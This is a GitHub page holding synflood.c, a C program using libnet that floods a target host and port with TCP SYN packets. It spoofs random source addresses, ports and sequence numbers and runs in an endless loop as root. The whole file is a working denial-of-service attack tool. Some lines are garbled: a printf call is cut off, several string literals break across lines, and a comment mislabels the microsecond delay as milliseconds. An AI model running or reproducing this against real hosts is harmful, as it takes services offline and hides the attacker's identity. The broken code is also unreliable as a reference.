-
Notifications
You must be signed in to change notification settings - Fork 0
/
synflood.c
66 lines (64 loc) · 2.38 KB
/
synflood.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <libnet.h>
#define FLOOD_DELAY 5000 // Delay between packet injects by 5000 ms.
/* Returns an IP in x.x.x.x notation */
char *print_ip(u_long *ip_addr_ptr) {
return inet_ntoa( *((struct in_addr *)ip_addr_ptr) );
}
int main(int argc, char *argv[])
{
u_long dest_ip;
u_short dest_port;
u_char errbuf[LIBNET_ERRBUF_SIZE], *packet;
int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H;
if(argc < 3)
{
printf("Usage:\n%s\t <target host> <target port>\n", argv[0]);
exit(1);
}
dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // The host
dest_port = (u_short) atoi(argv[2]); // The port
network = libnet_open_raw_sock(IPPROTO_RAW); // Open network interface.
if (network == -1)
libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run
as root.\n");
libnet_init_packet(packet_size, &packet); // Allocate memory for packet.
if (packet == NULL)
libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");
libnet_seed_prand(); // Seed the random number generator.
printf("SYN Flooding port %d of %s..\n",
while(1) // loop forever (until break by
{
libnet_build_ip(LIBNET_TCP_H,
IPTOS_LOWDELAY,
libnet_get_prand(LIBNET_PRu16),
0,
libnet_get_prand(LIBNET_PR8),
IPPROTO_TCP,
libnet_get_prand(LIBNET_PRu32),
dest_ip,
NULL,
0,
packet);
libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Source TCP port (random)
dest_port,
libnet_get_prand(LIBNET_PRu32), // Sequence number (randomized)
libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)
TH_SYN,
libnet_get_prand(LIBNET_PRu16), // Window size (randomized)
0,
NULL,
0,
packet + LIBNET_IP_H);
if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");
byte_count = libnet_write_ip(network, packet, packet_size); // Inject packet.
if (byte_count < packet_size)
libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d
bytes)", byte_count, packet_size);
usleep(FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds.
}
libnet_destroy_packet(&packet); // Free packet memory.
if (libnet_close_raw_sock(network) == -1) // Close the network interface.
libnet_error(LIBNET_ERR_WARNING, "can't close network interface.");
return 0;
}